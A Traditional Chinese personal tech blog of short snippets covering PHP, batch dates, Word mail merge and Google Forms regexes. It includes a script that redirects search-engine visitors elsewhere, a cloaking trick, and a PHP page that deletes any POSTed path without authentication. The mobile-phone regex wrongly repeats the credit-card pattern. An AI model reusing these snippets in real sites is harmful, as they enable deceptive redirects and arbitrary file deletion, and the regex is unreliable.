myAdBanner

2019年9月7日 星期六

PHP 讀取中文檔名錯誤

解決方法
$filename = "word/1-1/1-1-1000517-1-中文檔名.txt";
 //對檔名的編碼,避免中文檔名亂碼
$pagename = iconv("UTF-8", "BIG-5", $filename);

2019年3月4日 星期一

DOS BAT 取得日期 星期

@ECHO off
SETLOCAL
rem chcp 437

REM 取得日期
for /F "tokens=1-4 delims=/ " %%a IN ("%date%") DO (
set _year=%%a
set _month=%%b
set _day=%%c
set _week=%%d
set _today=%%a%%b%%c
)

echo %_week%
echo %_today%
pause
EXIT
ENDLOCAL

2018年4月11日 星期三

判斷來源網址


<script type="text/javascript">
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase(); //轉為小寫
var aSites = new Array('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
if(b)
{
self.location = '要跳轉的網址';
window.adworkergo = 'ad_app6';
}
}
</script>

2018年3月31日 星期六

利用程式刪除遠端FTP站台的檔案

<?php

if ( isset($_POST['dirname']) ) 
{
 
 echo $dir_name = $_POST['dirname'];
 if ( is_file( $dir_name ) )
 {
         if ( unlink($dir_name) )  echo "Del file \"$dirname\" successfully!
"; else echo "Fail to del file \"$dirname\"!
"; } else { CleanDir($dir_name); if ( rmdir($dir_name) ) echo "Remove dir \"$dirname\" successfully!
"; else echo "Fail to Remove dir \"$dirname\"!
"; } } function CleanDir($dir) { $handle=opendir($dir); while ( $file=readdir($handle) ) { if ( ($file==".") || ($file=="..") ) continue; if ( is_dir("$dir/$file") ) { CleanDir("$dir/$file"); if ( rmdir("$dir/$file") ) echo "Remove dir \"$dir/$file\" successfully!
"; else echo "Fail to Remove dir \"$dir/$file\"!
"; } else { if ( unlink("$dir/$file") ) echo "Del file \"$dir/$file\" successfully!
"; else echo "Fail to del file \"$dir/$file\"!
"; } } closedir($handle); } ?> 無標題文件
想要刪除的文件或資料夾:

2017年5月23日 星期二

Word合併列印日期格式的修改

方法一:


  1. 先將欄位套入word內,例如:3/1/2012
  2. 利用鍵盤ALT+F9,開啟功能變數,例如:{ MERGEFILED 施測日期 } 
  3. 自行加入格式變數,例如:{ MERGEFILED 施測日期 \@ "yyyy-MM-dd" }
  4.  (將紅色字體部分加入變數內,記得斜線前、@後以及d"後有空格喔!) 註: y-年 M-月 d-日
  5. 完成後再按ALT+F9,回到套印正常畫面,在按下預覽結果,就可看到格式已修改
\# 後面接的是數值性資料的格式
\@ 後面接的是日期性資料的格式
\*後面可接特殊的中文數字表示格式

譬如:
{ “合併欄位” \# NT$#,###.## }  將會顯示NT$12,345.78
{ “合併欄位” \* DBNUM1 }  將會顯示一二三四五六
{ “合併欄位” \* DBNUM2 }  將會顯示壹拾貳萬參仟肆佰伍拾陸
{ “合併欄位” \* DBNUM3 }  將會顯示一十二萬三千四百五十六

其他範例:
NT$ 改成:{ MERGEFIELD "金額" \# $NT#,### }

民國年改成:{MERGEFIELD "日期" \@ "民國e月M日d日" }

方法二:


  1. 在Excel中,將數字格式化成為想要的格式。
  2. 將Excel另存成為「.CSV」的檔案格式。
  3. 使用Word合併列印,即可出現Excel中所設定的數字格式。

方法三:2010版本下,進行合併列印


  1. 尚未匯入資料來源前
  2. 【檔案】→【選項】→【進階】→畫面最下方有一勾選【開啟舊檔時確認格式轉換】
  3. 接著依照合併列印原程序進行工作步驟,
    【郵件】→【選取收件者】→【使用現有清單】→選取Excel來源檔
  4. 【確認資料來源】出現一對話方塊 ,勾選【全部顯示】找到Excel來源檔的格式
    【例如:MS Excel工作表,透過DDE】 →確定
  5. 接著依照合併列印原程序進行工作步驟,即可自動將Excel設定好的格式自動帶入了

PS:"玖拾壹年參月壹拾壹日"的Excel儲存格格式:[DBNum2][$-404]e"年"m"月"d"日";@

參考資料:
http://office.microsoft.com/zh-tw/word-help/HA001116495.aspx

2017年5月22日 星期一

Google 表單驗證

身分證字號驗證 說明:第一個字元大小寫不分,後面9個數字。
^[a-zA-Z][0-9]{9}$
信用卡驗證 說明:則每四個數字間要加入-符號,共為16個數字。
/^\d{4}-\d{4}-\d{4}-\d{4}$/
手機驗證 說明:起首為09開頭,後面再八位數字。
/^\d{4}-\d{4}-\d{4}-\d{4}$/